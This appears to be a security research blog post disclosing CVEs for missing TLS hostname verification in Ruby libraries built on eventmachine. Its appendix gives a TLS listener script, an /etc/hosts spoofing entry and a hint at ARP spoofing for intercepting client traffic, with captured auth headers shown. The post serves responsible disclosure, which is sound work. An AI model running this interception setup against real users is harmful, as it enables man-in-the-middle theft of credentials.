Attackers love fancy vulnerabilities that get them code execution by just viewing a file on your device. Such exploits are often marvels of unconventional software engineering and never cease to amaze me with their ingenuity. But oftentimes, an attacker can gain access to you and your data through much less complicated ways, with arguably the same level of impact.
In this day and age where we are always connected and data is king, the security of data in transit is as critical as is endpoint security. I would argue that due to the way vulnerabilities in transit integrity assurance are exploited (i.e. by active attackers with privileged networking capabilities), they can have a greater long-term impact because a threat actor can just sit and wait for traffic to be collected instead of risking detection by actively going after an endpoint.
In this post I will talk about how we identified an important design detail in a C library called eventmachine and how it undermined the security of several ruby packages.
So, first things first, what is eventmachine? A quick glance at their repository reveals that:
EventMachine is an event-driven I/O and lightweight concurrency library for Ruby. It provides event-driven I/O using the Reactor pattern, much like JBoss Netty, Apache MINA, Python's Twisted, Node.js, libevent and libev.
So in essence, it is a library that allows clients to implement different clients/servers for arbitrary protocols. It also has the capability to transparently add transport security by using TLS.
History has proven that TLS can be a complex beast that has a tendency to punish you for every design decision you make — you can learn more in our previous post on the subject.
TLS aims to be a generic and flexible transport security layer. Several fundamental implementation decisions are left up to the developers so that they can implement TLS in a way that suits their application best. But what happens when a library such as eventmachine tries to build a generic library that supports TLS? Well, those same application specific details are passed to the users of the higher level library which may not entirely understand the subtleties of a transport security layer scheme.
One of the things left for the developer to implement by eventmachine is certificate validation. At first this seems a bit weird since the validity of certificates (signature, expiration date, identity, etc.) is fundamental to the security of the system. But again, for a library to be flexible enough to apply in most general use cases, some design compromises need to be made. The consequence of this is that if a developer does not implement the missing parts of the certificate validation process the integrity of the TLS communication can be easily broken.
We are all (hopefully) aware of https and how it uses certificates to authenticate servers and in some cases clients. The complete specification of how to use http via TLS can be found here rfc2818 but succinctly, a client follows a link, it opens a connection to it, and verifies the hostname in the url with the identity present in the certificate. The important part is how the client gets the identity of the server from the X509 certificate. This part is application layer dependent, therefore it must be implemented by the client.
In the case of https, the following extract from the RFC explains it:
If a subjectAltName extension of type dNSName is present, that MUST be used as the identity. Otherwise, the (most specific) Common Name field in the Subject field of the certificate MUST be used. Although the use of the Common Name is existing practice, it is deprecated and Certification Authorities are encouraged to use the dNSName instead.
But what about other protocols? Do they work in the same way? Unfortunately they don’t. Let’s see an example of this. RFC5922, section 7.1 describes how to extract the identity of a SIP domain in a certificate and how to use that identity for SIP domain authentication. The process is very similar to that of https but there are some differences, implementations must:
- Check for restrictions on certificate usage declared by any extendedKeyUsage extensions in the certificate
- Determine what SIP domain identity or identities the certificate contains
- Parse the domains and match them against the server.
So now we know why eventmachine has no concept of authentication and leaves it to the client of the library. Our next step is to find users of the library that may not have implemented validation correctly themselves..
Needles in a haystack
The github platform allows us to list all the repositories that use a certain language. By using this capability I’ve downloaded the first 1000 most used/starred/forked projects. This helped me prioritize what to look for. Once I had all the sources I only had to start grepping (tm) to find interesting projects to check.
We were able to identify four different projects which, quite understandably, missed the edge case and therefore were vulnerable to attack.
To test these issues yourself, run the proof of concept (PoC) scripts available in the appendix, for each project. You should observe output that shows a connection to the affected service with secrets shown in plaintext.
em-http-request
em-http-request is an async (EventMachine) HTTP client that is used by a sizeable amount of projects.
Since the sole purpose of this library is to make HTTP and HTTPS requests, the lack of hostname verification is a very serious issue.
When we test our PoC we observe the following:
$ python3 simple-ssl-server.py 443
Accepted: <ssl.SSLSocket fd=4, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 443), raddr=('127.0.0.1', 63677)> ('127.0.0.1', 63677)
Received 135
Data:
b'GET / HTTP/1.1\r\nConnection: close\r\nHost: stream.twitter.com\r\nUser-Agent: EventMachine HttpClient\r\nAccept-Encoding: gzip, compressed\r\n\r\n'
Received 0
The authors of the project implemented a fix that can be found here. We would like to thank Ilya Grigorik for addressing this issue.
This vulnerability has been assigned CVE-2020-13482.
em-imap
em-imap is an EventMachine based IMAP client. As of now it has been discontinued and should not be used as per the authors note. We would like to thank ConradIrwin for getting back at us and updating the repository even though the project has been deprecated.
When we test our PoC we observe the following:
$ python3 simple-ssl-server.py 993
Accepted: <ssl.SSLSocket fd=4, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 993), raddr=('127.0.0.1', 63891)> ('127.0.0.1', 63891)
This vulnerability has been assigned CVE-2020-13163.
twitter-stream
twitter-stream is a simple Ruby client library for the twitter streaming API that Uses EventMachine for connection handling.
When we test our PoC we observe the following:
$ python3 simple-ssl-server.py 443
Accepted: <ssl.SSLSocket fd=4, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 443), raddr=('127.0.0.1', 62363)> ('127.0.0.1', 62363)
Received 163
Data:
b'GET /1.1/statuses/filter.json HTTP/1.1\r\nHost: stream.twitter.com\r\nAccept: */*\r\nUser-Agent: TwitterStream\r\nAuthorization: Basic VVNFUk5BTUU6U0VDUkVUUEFTU1dPUkQ=\r\n\r\n'
Received 0
The project has been unmaintained for the last two years and no fix is available at this time.
This vulnerability has been assigned CVE-2020-24392.
tweetstream
tweetstream is a simple EventMachine-based library for consuming Twitter’s Streaming API.
When we test our PoC we observe the following:
$ python3 simple-ssl-server.py 443
Accepted: <ssl.SSLSocket fd=4, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 443), raddr=('127.0.0.1', 62215)> ('127.0.0.1', 62215)
Received 421
Data:
b'GET /1.1/statuses/sample.json? HTTP/1.1\r\nHost: stream.twitter.com\r\nAccept: */*\r\nUser-Agent: TweetStream Ruby Gem 2.6.1\r\nAuthorization: OAuth oauth_consumer_key="abcdefghijklmnopqrstuvwxyz", oauth_nonce="923004c91091e17274d3b5f0314e691e", oauth_signature="Bx8C8pDAiAo7TK7l7FHODi%2FrrMw%3D", oauth_signature_method="HMAC-SHA1", oauth_timestamp="1582542941", oauth_token="abcdefghijklmnopqrstuvwxyz", oauth_version="1.0"\r\n\r\n'
Received 0
The project is currently unmaintained and is not expected to receive any updates.
This vulnerability has been assigned CVE-2020-24393.
Outro
The ripple effect of a misunderstood TLS implementation can reach far and its consequences can be hidden for many years as was the case with the illustrated examples.
If we consider what a well positioned and prepared attacker can gain from these types of TLS implementation vulnerabilities, we realize that any and all confusion about the security guarantees a TLS library explicitly provides can have a severe impact on the security of any downstream consumers. As such, it is crucial to explicitly document where the burden of validation lies when providing TLS implementations and to provide clear examples of correct API use to prevent misinterpretation and misuse.
Appendix
Testing harness
The easiest way to simulate an attack is to add an entry to /etc/hosts to make the OS resolve the target hostname to the address of our listening server:
127.0.0.1 www.twitter.com
Before running the exploit, please create the required TLS certificate/key by running this command in the directory where the script is placed:
openssl req -new -x509 -keyout key.pem -out server.pem -days 365 -nodes
This script simply creates a listening service that supports TLS — the idea is to redirect traffic (by any means, such as ARP spoofing, etc.) to it.
import ssl
import sys
import socket
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain('server.pem', 'key.pem')
try:
port = int(sys.argv[1])
print("Listening on port: %u" % port)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) as sock:
sock.bind(('127.0.0.1', port))
sock.listen(5)
with context.wrap_socket(sock, server_side=True) as ssock:
conn, addr = sock.accept()
print("Accepted:", conn, addr)
buffer = conn.recv()
print("Received %u" % len(buffer))
print("Data:")
print(buffer)
buffer = b"AAAA\r\n"
conn.write(buffer)
buffer = conn.recv()
print("Received %u" % len(buffer))
except Exception as e:
print(e)
sock.close()
Proof of concept: em-http-request
require 'rubygems'
require 'eventmachine'
require 'em-http'
urls = ARGV
if urls.size < 1
puts "Usage: #{$0} <url> <url> <...>"
exit
end
pending = urls.size
EM.run do
urls.each do |url|
http = EM::HttpRequest.new(url).get
http.callback {
puts "#{url}\n#{http.response_header.status} - #{http.response.length} bytes\n"
puts http.response
pending -= 1
EM.stop if pending < 1
}
http.errback {
puts "#{url}\n" + http.error
pending -= 1
EM.stop if pending < 1
}
end
end
Proof of concept: em-imap
require 'rubygems'
require 'em-imap'
EM::run do
client = EM::IMAP.new('imap.gmail.com', 993, true)
client.connect.errback do |error|
puts "Connecting failed: #{error}"
end.callback do |hello_response|
puts "Connecting succeeded!"
end.bothback do
EM::stop
end
end
Proof of concept: twitter-stream
require 'rubygems'
require 'twitter/json_stream'
EventMachine::run {
stream = Twitter::JSONStream.connect(
:path => '/1.1/statuses/filter.json',
:auth => 'USERNAME:SECRET PASSWORD'
)
stream.each_item do |item|
end
stream.on_error do |message|
end
stream.on_max_reconnects do |timeout, retries|
end
stream.on_no_data do
end
}
Proof of concept: tweetstream
require 'tweetstream'
TweetStream.configure do |config|
config.consumer_key = 'abcdefghijklmnopqrstuvwxyz'
config.consumer_secret = '0123456789'
config.oauth_token = 'abcdefghijklmnopqrstuvwxyz'
config.oauth_token_secret = '0123456789'
config.auth_method = :oauth
end
TweetStream::Client.new.sample do |status|
puts "#{status.text}"
end